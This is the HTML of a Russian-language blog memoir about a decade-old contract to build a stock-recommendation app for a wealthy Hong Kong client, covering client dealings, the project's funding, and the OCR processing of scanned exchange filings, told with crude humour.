  &lt;p id=&quot;ukIf&quot;&gt;К моменту когда был наконец задан этот вопрос, мы успели пожать руки, представиться и завязать тот самый «small talk» — легкую светскую беседу «ни о чем», которая так тяжело дается выходцам из стран СНГ.&lt;/p&gt;
  &lt;p id=&quot;bGrI&quot;&gt;Пришло время для более серьезного разговора.&lt;/p&gt;
  &lt;p id=&quot;frde&quot;&gt;— Разработкой программного обеспечения. Ну знаешь, программы всякие, для компьютеров.&lt;/p&gt;
  &lt;p id=&quot;Qq03&quot;&gt;Боб с интересом кивнул.&lt;/p&gt;
  &lt;p id=&quot;yyUh&quot;&gt;— А вы из России да? Говорят в России лучшие программисты.&lt;/p&gt;
  &lt;p id=&quot;NGtB&quot;&gt;Майк был немного старше и по всей видимости более искушен в дипломатии.&lt;/p&gt;
  &lt;p id=&quot;dIha&quot;&gt;— Далеко же вы ребята забрались. Надеюсь у вас все получится в Гонконге.  Можем чем-то помочь? &lt;/p&gt;
  &lt;p id=&quot;DMtI&quot;&gt;— Наша компания предоставляет облачные услуги, но вы наверное в курсе.&lt;/p&gt;
  &lt;p id=&quot;yOaL&quot;&gt;Еще бы мы не были в курсе — Боб с Майком представляли компанию масштаба Микрософта в сфере облачных решений. Уверен, вы дорогой читатель, тоже ее хорошо знаете.&lt;/p&gt;
  &lt;p id=&quot;J9k6&quot;&gt;— Мы заинтересованы в новых партнерах, поможем, обучим, &lt;s&gt;отсосем&lt;/s&gt; дадим льготный период. &lt;/p&gt;
  &lt;p id=&quot;z4zB&quot;&gt;— Что у вас за проект?&lt;/p&gt;
  &lt;p id=&quot;CKov&quot;&gt;Так мы сделали первую серьезную ошибку, рассказав Бобу и Майку о нашем проекте. Первую в этом повествовании разумеется, не хронологически.&lt;/p&gt;
  &lt;section style=&quot;background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;p id=&quot;4uIN&quot;&gt;Хронологически первой серьезной ошибкой, была покупка родителями домашнего компьютера.&lt;/p&gt;
  &lt;/section&gt;
  &lt;p id=&quot;G3LI&quot;&gt;Что в итоге и превратило обоих вместо приличных членов общества в ээ.. отъявленных представителей ИТ-индустрии.&lt;/p&gt;
  &lt;p id=&quot;c5kP&quot;&gt;— У мистера Лу есть проект по анализу документов о размещении акций с бирж, у нас — соответствующий опыт и компетенции.&lt;/p&gt;
  &lt;p id=&quot;qZEQ&quot;&gt;Павел кивнул на меня. &lt;/p&gt;
  &lt;p id=&quot;zw74&quot;&gt;— Пилот успешно запустили, теперь расширяем функционал.&lt;/p&gt;
  &lt;p id=&quot;jtRX&quot;&gt;Боб с Майком переглянулись.&lt;/p&gt;
  &lt;p id=&quot;bJae&quot;&gt;—У нас с мистером Ченгом тоже ээ.. есть один проект. &lt;/p&gt;
  &lt;p id=&quot;TsGM&quot;&gt;— Но с такими крутыми парнями как вы, точно хотелось бы посотрудничать. Обсудим?&lt;/p&gt;
  &lt;p id=&quot;piMl&quot;&gt;Позже выяснится, что никакого проекта у Боба с Майком не было, с мистером Лу они толком не были знакомы и вообще реальная ситуация сильно отличалась от рассказанного нам. &lt;/p&gt;
  &lt;p id=&quot;j277&quot;&gt;Сотрудники мировой корпорации, как оказалось, запросто могут врать в лицо, забивать на любые правила и даже букву закона. &lt;/p&gt;
  &lt;blockquote id=&quot;QkKP&quot;&gt;И все это в стране первого мира.&lt;/blockquote&gt;
  &lt;p id=&quot;ZBh3&quot;&gt;Блеф, презрение и ненависть могут быть вежливыми и с соблюдением этикета — я смог убедиться в этом задолго до первой публикации на Хабре.&lt;/p&gt;
  &lt;figure id=&quot;kzvD&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img1.teletype.in/files/8c/4e/8c4e168b-41c7-4739-82a4-bb8d02f771e0.jpeg&quot; width=&quot;2560&quot; /&gt;
    &lt;figcaption&gt;Еще улочки Гонконга, узнаете стилистику?&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;h2 id=&quot;NpzN&quot;&gt;Конкретика&lt;/h2&gt;
  &lt;p id=&quot;S7hN&quot;&gt;Понимаю, что слегка утомил литературными изысками, все же это техническая статья, а не гламурный роман. &lt;/p&gt;
  &lt;p id=&quot;H4Ud&quot;&gt;Так что даю наконец «цинк»:&lt;/p&gt;
  &lt;blockquote id=&quot;p1Jn&quot;&gt;Десять лет назад случился проект, который чуть нас не угробил, вогнав в серьезные долги и поставив на грань выживания. &lt;/blockquote&gt;
  &lt;p id=&quot;aF1y&quot;&gt;Проект, который сильно поменял мои взгляды на жизнь, работу и отношение к клиентам. &lt;/p&gt;
  &lt;section style=&quot;background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;p id=&quot;CEX7&quot;&gt;Проект, ставший своеобразным приквелом к истории с «&lt;a href=&quot;https://blog.0x08.ru/elite-vibecoding-2026&quot; target=&quot;_blank&quot;&gt;Элитным вайбкодингом&lt;/a&gt;»&lt;/p&gt;
  &lt;/section&gt;
  &lt;p id=&quot;zrWP&quot;&gt;Текст ниже надеюсь доходчиво объяснит, почему автор больше не испытывает угрызений совести и моральных терзаний при работе с клиентами.&lt;/p&gt;
  &lt;p id=&quot;bwdb&quot;&gt;Еще по этому адскому проекту давно выложена &lt;a href=&quot;https://blog.0x08.ru/projects-data-processing-2017&quot; target=&quot;_blank&quot;&gt;отдельная статья&lt;/a&gt; с техническими деталями, с примерами кода, скриншотами и так далее. &lt;/p&gt;
  &lt;p id=&quot;JiHP&quot;&gt;Хотя материалов с тех лет осталось немного: &lt;/p&gt;
  &lt;blockquote id=&quot;sieX&quot;&gt;большая часть работы заключалась в сложной обработке данных, а делать скриншоты черной консоли казалось скучным занятием.&lt;/blockquote&gt;
  &lt;p id=&quot;R9Iv&quot;&gt;Но повторяться не буду и этот рассказ пойдет в первую очередь &lt;strong&gt;про людей&lt;/strong&gt;, со всеми их бедами и проблемами. Не про технологии и компьютеры, у которых все хорошо пока есть электричество. &lt;/p&gt;
  &lt;p id=&quot;aR9F&quot;&gt;Также стоит сразу уточнить: &lt;/p&gt;
  &lt;blockquote id=&quot;pESd&quot;&gt;несмотря на реальность событий, имена действующих лиц и некоторые факты биографии все же были изменены.&lt;/blockquote&gt;
  &lt;p id=&quot;oYnO&quot;&gt;Поэтому в частности, упоминаемая семья Ченг &lt;strong&gt;не имеет отношения&lt;/strong&gt; к реальному и весьма известному миллиардеру из Гонконга. &lt;/p&gt;
  &lt;figure id=&quot;XLmt&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img1.teletype.in/files/4c/29/4c29a439-e999-4a7b-849d-b46641303d0e.jpeg&quot; width=&quot;2560&quot; /&gt;
    &lt;figcaption&gt;Вид на Гонконг из здания аэропорта. Да, там есть горы.&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;h2 id=&quot;8ZaX&quot;&gt;Трудности перевода&lt;/h2&gt;
  &lt;p id=&quot;nJkD&quot;&gt;С Ченгом-младшим мы познакомились, как часто бывает, совершенно случайно — в аэропорту. Случилась задержка рейса на несколько часов, которые решили скоротать в баре.&lt;/p&gt;
  &lt;section style=&quot;background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;p id=&quot;yRTp&quot;&gt;— Do you speak English?&lt;/p&gt;
  &lt;/section&gt;
  &lt;p id=&quot;EQ6v&quot;&gt;Меня регулярно принимают за местного в чужих городах и странах, приставая с дурацкими вопросами. Такое случалось даже в &lt;a href=&quot;https://en.wikipedia.org/wiki/Singapore&quot; target=&quot;_blank&quot;&gt;Сингапуре&lt;/a&gt;, поэтому не особо удивился, заметив перед собой молодого азиата в дурацкой панамке со скорбным выражением лица. &lt;/p&gt;
  &lt;p id=&quot;ZhpQ&quot;&gt;Оказалось, что его рейс тоже задержали, а элитная кредитка в российском банкомате почему-то не читалась, оставив иностранного туриста без денег. &lt;/p&gt;
  &lt;p id=&quot;MCk6&quot;&gt;Еще он очень устал и хотел спать. &lt;/p&gt;
  &lt;blockquote id=&quot;VLzf&quot;&gt;Русского он конечно не знал, а уровень владения английским в отечественных аэропортах не далеко ушел от классического «лет ми спик фром май харт». &lt;/blockquote&gt;
  &lt;p id=&quot;PuZs&quot;&gt;Так Томасу Ченгу — сыну известного бизнесмена Лу Ченга из Гонконга в первый раз понадобилась наша помощь. &lt;/p&gt;
  &lt;p id=&quot;TqGq&quot;&gt;Пусть всего лишь с такси и гостиницей.&lt;/p&gt;
  &lt;figure id=&quot;OMop&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img1.teletype.in/files/43/fe/43fee324-613b-4de7-a236-1565de3dfb27.jpeg&quot; width=&quot;1280&quot; /&gt;
    &lt;figcaption&gt;Уникальный ТЦ в Сингапуре, с лодочным каналом! Можно было натурально приплыть за покупками.&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;h2 id=&quot;tsZ7&quot;&gt;Сказочное Бали&lt;/h2&gt;
  &lt;p id=&quot;i25y&quot;&gt;Две недели спустя мы с партнером сидели в красивом, стильно обставленном офисе. &lt;/p&gt;
  &lt;p id=&quot;vPd8&quot;&gt;— Томас, понимаем задача грандиозная. &lt;/p&gt;
  &lt;p id=&quot;goc0&quot;&gt;— Но нужен план. И оценка бюджета, хотя-бы примерная. &lt;/p&gt;
  &lt;p id=&quot;rbCP&quot;&gt;Ченг-младший совсем недавно закончил престижный университет и рвался «всем все доказать», а едва узнав чем мы занимаемся — не &lt;s&gt;слезал с нас&lt;/s&gt; вылезал из переписок неделю, изливая на нас одну ох#ительную идею за другой.&lt;/p&gt;
  &lt;p id=&quot;1G6C&quot;&gt;Университет хоть и был действительно престижным, своего звездного студента мало чему смог научить. &lt;/p&gt;
  &lt;blockquote id=&quot;fyOy&quot;&gt;Точно не &lt;s&gt;сопромату&lt;/s&gt; дисциплине и планированию. &lt;/blockquote&gt;
  &lt;p id=&quot;LyGf&quot;&gt;Но хороший вкус у Ченга-младшего был, этого не отнять.&lt;/p&gt;
  &lt;p id=&quot;tdc4&quot;&gt;— Все очень просто. &lt;/p&gt;
  &lt;p id=&quot;4CS9&quot;&gt;(не представляете как часто эта фраза звучит на переговорах) &lt;/p&gt;
  &lt;p id=&quot;oNas&quot;&gt;— Надо сделать простую программу, чтобы пользователи могли покупать и продавать акции компаний на бирже. &lt;/p&gt;
  &lt;p id=&quot;ZAwN&quot;&gt;— Всего лишь две кнопки: «купить» и «продать».&lt;/p&gt;
  &lt;p id=&quot;y6JA&quot;&gt;«Программа» это разумеется мобильное приложение, других Томас не признавал. Точнее две: под iOS и Android, с разными маркетплейсами, правилами аудита, продвижением и ограничениями. &lt;/p&gt;
  &lt;blockquote id=&quot;zHJ8&quot;&gt;И конечно минимум две разных версии под планшеты.&lt;/blockquote&gt;
  &lt;p id=&quot;Qt7C&quot;&gt;Плюс невидимый глазу клиента бекэнд с API, авторизация, внешние интеграции и вся обвязка для управления. Но это лишь «скучные технические детали», ненужные и неинтересные.&lt;/p&gt;
  &lt;p id=&quot;3VQJ&quot;&gt;— Еще там будут советы &lt;s&gt;бывалых&lt;/s&gt; какие акции сейчас стоит купить, а какие продать. &lt;/p&gt;
  &lt;p id=&quot;KYRS&quot;&gt;— Главная фишка сервиса. Ни у кого такого нет!&lt;/p&gt;
  &lt;p id=&quot;ulyF&quot;&gt;Разумеется подобных «уникальных приложений» было даже тогда — как &lt;s&gt;говна за баней&lt;/s&gt; очень много. Но тратить время на переубеждение потенциального клиента.. ..чтобы что? Cорвать переговоры? &lt;/p&gt;
  &lt;p id=&quot;O7uP&quot;&gt;— А откуда все эти «советы» будут браться? Посадишь финансовых аналитиков вбивать?&lt;/p&gt;
  &lt;p id=&quot;h4Gl&quot;&gt;— Не-не-не! 21й век на дворе, вы чего.&lt;/p&gt;
  &lt;p id=&quot;Q5UY&quot;&gt;— Сделаем уникальную систему с искусственным интеллектом. Она сама будет &lt;s&gt;бегать за пивом&lt;/s&gt; получать данные с бирж, читать их и анализировать. &lt;/p&gt;
  &lt;p id=&quot;xf9T&quot;&gt;— Затем выдавать рекомендации пользователям. &lt;/p&gt;
  &lt;p id=&quot;sAwq&quot;&gt;— Платные, разумеется.&lt;/p&gt;
  &lt;p id=&quot;55CH&quot;&gt;Мы с Павлом переглянулись. &lt;/p&gt;
  &lt;p id=&quot;G0DJ&quot;&gt;Напомню, дело происходило больше &lt;strong&gt;десяти лет назад&lt;/strong&gt;, до появления ChatGPT и массового &lt;s&gt;психоза&lt;/s&gt; увлечения нейроcетями. &lt;/p&gt;
  &lt;p id=&quot;G1EA&quot;&gt;ИИ тогда был, по большей части, темой научных диссертаций и R&amp;amp;D, но точно не мейнстримом. &lt;/p&gt;
  &lt;figure id=&quot;kKt6&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img1.teletype.in/files/c6/a3/c6a3e3fd-6451-4c47-a6a6-a8ad464967c5.jpeg&quot; width=&quot;1280&quot; /&gt;
    &lt;figcaption&gt;Улицы Сингапура, ничего интересного.&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;rt3S&quot;&gt;Томас тем временем продолжал фонтанировать. &lt;/p&gt;
  &lt;p id=&quot;QjWy&quot;&gt;— У меня есть знакомый ученый, математик или что-то такое.  &lt;/p&gt;
  &lt;p id=&quot;jWaw&quot;&gt;— Учились вместе. Как-то напоили до потери сознания и привязали к заднице петарду с блестками. Он ползал по кампусу и блевал дугой во все стороны, а из задницы летели фейерверки  — весело было всем! &lt;/p&gt;
  &lt;p id=&quot;rGlS&quot;&gt;Судя по выражению лица Ченга-младшего, такие развлечения у них были регулярными.&lt;/p&gt;
  &lt;p id=&quot;DbxU&quot;&gt;— Короче я его нанял, чтобы ваять автоматические предсказания по акциям, с помощью всей этой технической зауми и матана.&lt;/p&gt;
  &lt;p id=&quot;OJlb&quot;&gt;— И это работает, просто пока ээ.. не полностью.&lt;/p&gt;
  &lt;p id=&quot;DIeO&quot;&gt;Еще одна частая фраза на переговорах: «работает, но не полностью». Примерно как «машина ездит, но пока без колес».&lt;/p&gt;
  &lt;p id=&quot;5w5H&quot;&gt;— Ладно, а как это сейчас выглядит?&lt;/p&gt;
  &lt;p id=&quot;p8hM&quot;&gt;— Ну мой математик просто скачивает файлы с бирж вручную, выделяет нужные цифры с количеством акций и изменениях долей акционеров и подставляет в свою модель.&lt;/p&gt;
  &lt;p id=&quot;RQG1&quot;&gt;Тогда у меня еще дергался глаз с описания таких рабочих процессов, но про дипломатию я все же не забывал: &lt;/p&gt;
  &lt;p id=&quot;jD9d&quot;&gt;— Кропотливая работа, наверное.&lt;/p&gt;
  &lt;p id=&quot;Z4pP&quot;&gt;— Да плевать, ему за это платят. &lt;/p&gt;
  &lt;p id=&quot;pl5s&quot;&gt;Ченг-младший, родившийся «с золотой ложкой» предсказуемо имел другие взгляды на дипломатию и будни простых сотрудников.&lt;/p&gt;
  &lt;p id=&quot;9AI4&quot;&gt;— На данный момент успели проверить модель на примерно сотне документов. Что вроде как мало. &lt;/p&gt;
  &lt;p id=&quot;lO7a&quot;&gt;Для счастливых обладателей гуманитарного образования поясняю: &lt;/p&gt;
  &lt;blockquote id=&quot;oLiQ&quot;&gt;сотня документов для такой задачи это &lt;s&gt;п#здец&lt;/s&gt; невозможно мало, это даже не курсовая работа.&lt;/blockquote&gt;
  &lt;p id=&quot;fcNo&quot;&gt;Уровень школьного проекта, не самой лучшей школы.&lt;/p&gt;
  &lt;p id=&quot;a2k7&quot;&gt;..&lt;/p&gt;
  &lt;p id=&quot;e4nd&quot;&gt;Не буду утомлять читателя дальнейшим пересказом тех далеких событий, полагаю отрывка выше вполне достаточно для понимания сути.  &lt;/p&gt;
  &lt;p id=&quot;2Sm5&quot;&gt;Лишь добавлю, что с Томасом был таки подписан договор, по которому мы должны были сделать пилот его гениального приложения с предсказаниями и советами. &lt;/p&gt;
  &lt;p id=&quot;Gqau&quot;&gt;По вполне конкретному ТЗ, усилия для согласования которого были сопоставимы с работой дипломатов МИД РФ по урегулированию известного конфликта в соседней стране. &lt;/p&gt;
  &lt;p id=&quot;lPuf&quot;&gt;Казалось, ничего не предвещало большой беды. Ну почти.&lt;/p&gt;
  &lt;figure id=&quot;zZmO&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img4.teletype.in/files/b1/cd/b1cd9330-3041-4b46-b5a2-4b43a518433d.jpeg&quot; width=&quot;2560&quot; /&gt;
    &lt;figcaption&gt;Подворотни Гонконга, уверен вы видели это в недавнем Cyberpunk 2077.&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;h2 id=&quot;11FH&quot;&gt;Cherchez la femme&lt;/h2&gt;
  &lt;p id=&quot;eFJj&quot;&gt;У нашей беды было красивое имя, ее звали Катрин. &lt;/p&gt;
  &lt;p id=&quot;tIMq&quot;&gt;Ну вы же не думали, будто статья про грандиозный провал обойдется без участия женщины?&lt;/p&gt;
  &lt;section style=&quot;background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;p id=&quot;Kd6x&quot;&gt;«Cherchez la femme», мои дорогие, так устроен этот мир.&lt;/p&gt;
  &lt;/section&gt;
  &lt;p id=&quot;XpQA&quot;&gt;Эффектная, умная, образованная и с хорошими формами — Катрин работала на Томаса и будучи чем-то средним между COO, CFO и &lt;s&gt;балериной-космонавтом&lt;/s&gt; секретаршей-аналитиком, быстро стала связующим звеном между придурковатым Ченгом-младшим и нашей разработкой.&lt;/p&gt;
  &lt;p id=&quot;CSGh&quot;&gt;Как выяснилось потом, Катрин оказалась непростым персонажем — с сюрпризом. &lt;/p&gt;
  &lt;blockquote id=&quot;01HL&quot;&gt;Не &lt;em&gt;с тем самым сюрпризом&lt;/em&gt;, про который сейчас подумали юные любители Таиланда, вовсе нет. &lt;/blockquote&gt;
  &lt;p id=&quot;U3nY&quot;&gt;Все оказалось гораздо хуже, причем хуже в первую очередь для нас — простых исполнителей, не для Томаса и его сказочного проекта.&lt;/p&gt;
  &lt;p id=&quot;OvEo&quot;&gt;Наконец последним фактором, внесшим разлад в наши стройные ряды и серьезно повлиявшим на дальнейшие события, была дурацкая попытка моего тогдашнего партнера.. приударить за Катрин.&lt;/p&gt;
  &lt;p id=&quot;0Y4j&quot;&gt;«Не ну, а чо», красивая и умная женщина, теплый экзотический Гонконг — почему нет?&lt;/p&gt;
  &lt;p id=&quot;Y8oW&quot;&gt;Например потому, что &lt;s&gt;романы на работе плохо заканчиваются&lt;/s&gt; на свете нет чудес.&lt;/p&gt;
  &lt;section style=&quot;background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;p id=&quot;JJB2&quot;&gt;Умный человек никогда не будет &lt;em&gt;просто так&lt;/em&gt; работать на идиота.&lt;/p&gt;
  &lt;/section&gt;
  &lt;p id=&quot;xGOp&quot;&gt;Катрин была умной, Ченг-младший — &lt;s&gt;тупым&lt;/s&gt; откровенно недалеким. &lt;/p&gt;
  &lt;p id=&quot;nlrC&quot;&gt;Столь противоестественный союз мог держаться только на какой-то тайне — скрытом нюансе, суть которого оказалась крайне неприятным сюрпризом.&lt;/p&gt;
  &lt;p id=&quot;OkuM&quot;&gt;На всякий случай напоминаю, что «нюанс» не имел отношения ни к физиологии Катрин, ни к ее сексуальным талантам.&lt;/p&gt;
  &lt;blockquote id=&quot;h3FC&quot;&gt;Тем не менее, крайне рекомендую проверять отсутствие кадыка у дам в странах юго-восточной Азии, прежде чем с ними уединяться. &lt;/blockquote&gt;
  &lt;p id=&quot;Zsjc&quot;&gt;Во избежание неприятных сюрпризов в самый ответственный момент — можете считать это официальной рекомендацией.&lt;/p&gt;
  &lt;figure id=&quot;URzZ&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img3.teletype.in/files/eb/36/eb369b27-904a-4fcc-9e8b-311c34f33ed8.jpeg&quot; width=&quot;1280&quot; /&gt;
    &lt;figcaption&gt;Сезон дождей в Сингапуре, дождь мог лить месяцами.&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;h2 id=&quot;RH2s&quot;&gt;Таможня дает добро&lt;/h2&gt;
  &lt;section style=&quot;background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;p id=&quot;GCfS&quot;&gt;Стадию пилота мы прошли быстро, красиво и без проблем.&lt;/p&gt;
  &lt;/section&gt;
  &lt;p id=&quot;IBcP&quot;&gt;Несмотря на всю дурость заказчика, в лице Томаса.&lt;/p&gt;
  &lt;p id=&quot;D3Zv&quot;&gt;Много позже придет понимание, что отсутствие проблем на стадии пилота означает &lt;s&gt;п#здец&lt;/s&gt; глобальные проблемы у самого проекта — вплоть до его закрытия и распродажи имущества компании после банкротства.&lt;/p&gt;
  &lt;p id=&quot;zmq5&quot;&gt;Пилотное внедрение для того и делают, чтобы собрать все возможные проблемы и недочеты. Если таковых нет, значит сам проект — мертв.&lt;/p&gt;
  &lt;blockquote id=&quot;H0pm&quot;&gt;Но тогда мы были юны и наивны, поэтому лишь радовались быстрому успеху.&lt;/blockquote&gt;
  &lt;p id=&quot;Ui9U&quot;&gt;Столь важное событие — успешную сдачу пилотного проекта, тем более для богатого иностранного заказчика было решено отметить.&lt;/p&gt;
  &lt;p id=&quot;OYSk&quot;&gt;..&lt;/p&gt;
  &lt;p id=&quot;7YeV&quot;&gt;— Ребята, вы ооофигенные молодцы! За вас, за нас и &lt;s&gt;нефтегаз&lt;/s&gt; проект!&lt;/p&gt;
  &lt;p id=&quot;b8sJ&quot;&gt;Вообще-то Ченг-младший вполне мог позволить себе ванну из шампанского «Crystal» и регулярно приезжал в офис на спорткаре. &lt;/p&gt;
  &lt;figure id=&quot;VZWH&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img3.teletype.in/files/ad/26/ad2698b4-e3db-4117-88a9-84a70351e475.jpeg&quot; width=&quot;2560&quot; /&gt;
    &lt;figcaption&gt;Парковка у офиса местных криптанов. Шучу, просто случилась какая-то выставка и тачки пригнали со всего Сингапура.&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;kDdc&quot;&gt;Личном или арендованном — другой вопрос, задавать который мы постеснялись, однако капитал явно присутствовал, даже можно сказать «витал в воздухе».&lt;/p&gt;
  &lt;p id=&quot;D3du&quot;&gt;Но в тот вечер, ради общения с &lt;s&gt;таким быдлом&lt;/s&gt; отличными исполнителями, Томас снизошел до банального пива, видимо вспомнив историю нашего знакомства в аэропорту.&lt;/p&gt;
  &lt;p id=&quot;pELd&quot;&gt;— Я вами очень впечатлен. Будем работать!&lt;/p&gt;
  &lt;p id=&quot;yjPb&quot;&gt;Чел в дорогом костюме, в 27 лет паркующий спорткар у собственного офиса и только что выписавший вам солидный чек за завершенный проект, говорит «Будем работать».&lt;/p&gt;
  &lt;p id=&quot;Z7NN&quot;&gt;Признайтесь честно: абсолютно любому в такой момент снесло бы башню. Конечно мы не стали исключением. &lt;/p&gt;
  &lt;p id=&quot;VmZT&quot;&gt;Еще тогда мы впервые узнали, кто именно финансирует весь этот праздник жизни.&lt;/p&gt;
  &lt;p id=&quot;Pwpl&quot;&gt;— Господа&lt;s&gt;-офицеры&lt;/s&gt;, нас ждут великие дела! &lt;/p&gt;
  &lt;p id=&quot;MrVa&quot;&gt;— Больше бирж, больше документов, больше &lt;s&gt;угара&lt;/s&gt; прогнозов — впереди только рост, только развитие и новые победы!&lt;/p&gt;
  &lt;p id=&quot;hd96&quot;&gt;Папа дает добро.&lt;/p&gt;
  &lt;section style=&quot;background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;p id=&quot;Dlxy&quot;&gt;$500k бюджета, на год работы.&lt;/p&gt;
  &lt;/section&gt;
  &lt;p id=&quot;CIwm&quot;&gt;Прежде чем &lt;s&gt;онанировать&lt;/s&gt; медитировать на эту огромную по меркам обывателя сумму, стоит узнать о паре нюансов.&lt;/p&gt;
  &lt;p id=&quot;mgqG&quot;&gt;На случай, если вдруг захотите повторить.&lt;/p&gt;
  &lt;figure id=&quot;spqN&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img2.teletype.in/files/1f/bc/1fbc5007-29fb-4742-8334-7c02e546cced.jpeg&quot; width=&quot;2560&quot; /&gt;
    &lt;figcaption&gt;Мой боевой Lenovo Z580, который когда-то был черным, на фоне - какой-то роллс-ройс.&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;h2 id=&quot;k3gR&quot;&gt;Нюансы и мелочи&lt;/h2&gt;
  &lt;p id=&quot;u6u6&quot;&gt;Как уже упомянул выше, &lt;s&gt;жопой&lt;/s&gt; сердцем проекта была система предсказания курса акций компаний, которые торгуются на биржах.&lt;/p&gt;
  &lt;p id=&quot;c4hh&quot;&gt;Предсказания строились весьма незатейливым образом:&lt;/p&gt;
  &lt;blockquote id=&quot;uZVl&quot;&gt;отбирались «киты» — крупные инвестиционные фонды и частные инвесторы, чьи операции покупки-продажи акций на биржах отслеживались путем анализа первичных документов, в первую очередь отчетности.&lt;/blockquote&gt;
  &lt;p id=&quot;Om1f&quot;&gt;Если условный «&lt;a href=&quot;https://en.wikipedia.org/wiki/BlackRock&quot; target=&quot;_blank&quot;&gt;BlackRock&lt;/a&gt;» покупал долю в компании, предполагалось что стоимость ее акций будет расти, если продавал — падать. &lt;/p&gt;
  &lt;section style=&quot;background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;p id=&quot;p3xY&quot;&gt;Если условный &lt;a href=&quot;https://en.wikipedia.org/wiki/Warren_Buffett&quot; target=&quot;_blank&quot;&gt;Уоррен Баффет&lt;/a&gt; входил в совет директоров, считалось что курс акций компании вырастет, если покидал — начнет падать. &lt;/p&gt;
  &lt;/section&gt;
  &lt;p id=&quot;XsqB&quot;&gt;Всего подобных признаков было около сотни — вполне достаточно для простейших «предсказаний».&lt;/p&gt;
  &lt;p id=&quot;CwYh&quot;&gt;Поскольку публичные компании обязаны отчитываться о любых изменениях в совете директоров, покупках-продажах и новых выпусках акций  — весь этот «инвестиционный движ» можно было отследить, изучая публикации документов на бирже.&lt;/p&gt;
  &lt;p id=&quot;yNc2&quot;&gt;Дальше все упаковывалось в красивые рекомендации, которые затем появлялись в мобильном приложении для &lt;s&gt;ушастых&lt;/s&gt; пользователей, рядом с большими, яркими кнопками «Купить» и «Продать».&lt;/p&gt;
  &lt;blockquote id=&quot;lYc3&quot;&gt;Сложно сказать, насколько весь этот &lt;s&gt;лохотрон&lt;/s&gt; замечательный проект был успешен, поскольку финансовую отчетность нам не показывали.&lt;/blockquote&gt;
  &lt;p id=&quot;REce&quot;&gt;Но широкая улыбка никогда не покидала лица Томаса Ченга.&lt;/p&gt;
  &lt;h3 id=&quot;qDah&quot;&gt;Нюанс первый&lt;/h3&gt;
  &lt;p id=&quot;sLiW&quot;&gt;Каждая биржа (например &lt;a href=&quot;https://en.wikipedia.org/wiki/New_York_Stock_Exchange&quot; target=&quot;_blank&quot;&gt;NYSE&lt;/a&gt; — нью-йоркская фондовая биржа), помимо публикации оригинальных документов с отчетностью по компаниям, предоставляла еще и официальные платные выгрузки данных, обычно в CSV или XML.&lt;/p&gt;
  &lt;p id=&quot;CFhw&quot;&gt;Эти данные — &lt;strong&gt;полные&lt;/strong&gt; и проверенные (в том числе живым человеком) идеально подходили для задач анализа, вроде нашей.&lt;/p&gt;
  &lt;section style=&quot;background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;p id=&quot;zC1Y&quot;&gt;Проблема была лишь в цене — стоили эти выгрузки как самолет. &lt;/p&gt;
  &lt;/section&gt;
  &lt;p id=&quot;YLpP&quot;&gt;Не помню точный прайс, разный для каждой биржи, но речь шла о десятках тысяч долларов.&lt;/p&gt;
  &lt;h3 id=&quot;NQS8&quot;&gt;Нюанс второй&lt;/h3&gt;
  &lt;p id=&quot;mzGD&quot;&gt;Оригиналы документов представляли собой (чаще всего) многостраничные PDF, внутри которого находились картинки, отсканированные с факса.&lt;/p&gt;
  &lt;p id=&quot;ILFi&quot;&gt;Типа такого:&lt;/p&gt;
  &lt;figure id=&quot;64gI&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img2.teletype.in/files/5b/c0/5bc060c2-3569-4a44-a2c4-ba29c1e41e91.png&quot; width=&quot;1105&quot; /&gt;
    &lt;figcaption&gt;И это еще не самый сложный вариант.&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;hKW6&quot;&gt;Из документа выше необходимо было вытащить содержимое таблицы и как минимум номер ACN, естественно в «машинном» формате — убрав все пробелы, проценты, дроби и запятые.&lt;/p&gt;
  &lt;p id=&quot;WtvR&quot;&gt;Поскольку документы сканировались вручную и не предназначались для автоматической обработки, очень часто страницы имели наклон, засветку или даже другой формат — в одном PDF запросто чередовались альбомные и книжные страницы.&lt;/p&gt;
  &lt;p id=&quot;EMCN&quot;&gt;К тому же вытаскивать было необходимо далеко не все данные, при этом нужная информация запросто могла оказаться не на второй странице, а скажем на десятой или даже двухсотой. &lt;/p&gt;
  &lt;p id=&quot;PMqy&quot;&gt;Чтобы все это обрабатывать мы реализовали специальный язык (DSL) на базе JRuby, на котором и реализовали высокоуровневую логику обработки, спрятав технические детали вроде OCR, разбора PDF и алгоритмов очистки в специальных функциях. &lt;/p&gt;
